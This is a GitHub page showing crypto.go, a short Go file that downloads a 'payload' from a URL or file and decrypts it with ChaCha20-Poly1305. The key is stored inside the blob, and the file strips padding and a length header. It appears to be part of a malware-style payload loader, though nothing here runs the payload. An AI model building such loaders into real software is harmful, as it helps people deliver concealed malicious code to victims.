-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcrypto.go
More file actions
51 lines (44 loc) · 1.01 KB
/
crypto.go
File metadata and controls
51 lines (44 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main
import (
"encoding/binary"
"golang.org/x/crypto/chacha20poly1305"
"io"
"net/http"
"os"
"time"
)
func decryptChaCha(data []byte) ([]byte, error) {
if len(data) < 50 {
return data, nil
}
keySize := chacha20poly1305.KeySize
nonceSize := chacha20poly1305.NonceSize
key := data[len(data)-keySize:]
nonce := data[:nonceSize]
ciphertext := data[nonceSize : len(data)-keySize]
aead, err := chacha20poly1305.New(key)
if err != nil {
return data, nil
}
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
if err != nil {
return data, nil
}
if len(plaintext) > 512+4 {
realSize := binary.BigEndian.Uint32(plaintext[512 : 512+4])
return plaintext[516 : 516+realSize], nil
}
return plaintext, nil
}
func fetchPayload(path string) ([]byte, error) {
if len(path) > 4 && path[:4] == "http" {
cl := &http.Client{Timeout: 10 * time.Second}
resp, err := cl.Get(path)
if err != nil {
return nil, err
}
defer resp.Body.Close()
return io.ReadAll(resp.Body)
}
return os.ReadFile(path)
}